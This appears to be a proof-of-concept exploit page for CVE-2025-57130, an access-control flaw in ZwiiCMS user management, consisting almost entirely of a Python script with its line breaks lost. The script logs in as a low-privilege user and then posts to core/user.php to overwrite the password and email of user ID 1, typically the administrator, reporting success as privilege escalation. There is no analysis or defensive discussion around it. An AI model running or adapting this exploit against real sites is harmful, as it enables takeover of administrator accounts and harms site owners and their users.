CVE-2025-57130: ZwiiCMS用户管理权限控制错误漏洞

import requests import re TARGET_URL = "http://target-zwiicms.com" ATTACKER_USERNAME = "low_privilege_user" ATTACKER_PASSWORD = "password123" TARGET_USER_ID = 1 # Usually admin session = requests.Session() # Step 1: Login as low privilege user login_data = { "username": ATTACKER_USERNAME, "password": ATTACKER_PASSWORD } response = session.post(f"{TARGET_URL}/core/user.php", data=login_data) # Step 2: Get valid session and user page profile_url = f"{TARGET_URL}/core/user.php?id={TARGET_USER_ID}" response = session.get(profile_url) # Step 3: Extract CSRF token if present # csrf_token = re.search(r'name="csrf_token" value="([^"]+)"', response.text) # Step 4: Modify target user profile modify_data = { "id": TARGET_USER_ID, "user": "admin", "password": "NewP@ssw0rd123!", # New admin password "mail": "[email protected]" # Add other fields as needed } response = session.post(f"{TARGET_URL}/core/user.php", data=modify_data) if response.status_code == 200: print("[+] Privilege Escalation Successful!") print("[+] Admin password changed to: NewP@ssw0rd123!") else: print("[-] Exploitation failed")